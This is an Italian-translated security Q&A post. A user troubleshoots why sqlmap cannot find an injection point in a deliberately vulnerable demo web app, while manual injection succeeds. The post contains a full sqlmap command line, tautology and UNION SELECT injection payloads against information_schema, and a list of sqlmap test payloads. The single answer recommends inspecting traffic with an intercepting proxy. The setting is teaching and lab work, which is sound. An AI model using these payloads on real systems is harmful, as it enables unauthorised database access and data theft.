Iniezione SQLmap non funziona, funziona manualmente correttamente

5

Ho creato un'applicazione Web vulnerabile per dimostrare l'iniezione SQL. Voglio mostrare sia l'iniezione manuale che l'iniezione automatizzata. L'iniezione richiede a) all'utente di accedere (cookie di sessione), b) un certificato SSL dell'utente ec) un PREFISSO.

Il mio comando è:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

Posso vedere che SQLmap sta funzionando, ma non trova mai il campo da iniettare.

Un'iniezione manuale come questa funziona:

http://vulnapp.com/index.php?profile=admin' or '1'='1

Le cose che potrebbero causare l'errore di SQLmap:

  1. Il messaggio di errore restituito è un messaggio di errore personalizzato, non un messaggio di errore MySQL.
  2. Il prefisso del profilo deve essere il nome utente registrato.
  3. Il UNION non sta testando abbastanza campi possibilmente
  4. Non sta testando le stringhe ma solo gli interi (ad esempio AND 3347=7762 e non AND '3347'='7762
  5. Il test AND e non OR (non riesco a vedere nessun OR s testato)
  6. La richiesta http GET viene quindi passata a JS quale ajax per i dati dal server. Forse la risposta è stata persa in SQLmap?

Di seguito sono elencate alcune query che possono essere testate, ma apparentemente falliscono tutte.

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

EDIT: questa query funziona anche manualmente:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

Tuttavia, SQLmap non sembra testare unioni del genere.

    
posta amlwwalker 21.10.2015 - 17:51
fonte

1 risposta

1

Mentre è impossibile dire esattamente perché SQLPage stia fallendo senza avere accesso all'applicazione di test, si può guardare usando un proxy di intercettazione per esaminare le richieste / risposte dall'app. per vedere dove fallisce. Utilizzando un proxy come OWASP ZAP o Burp puoi esaminare le query inviate da sqlmap e avere un'idea del motivo per cui potrebbero non riuscire.

    
risposta data 25.10.2015 - 20:30
fonte

Leggi altre domande sui tag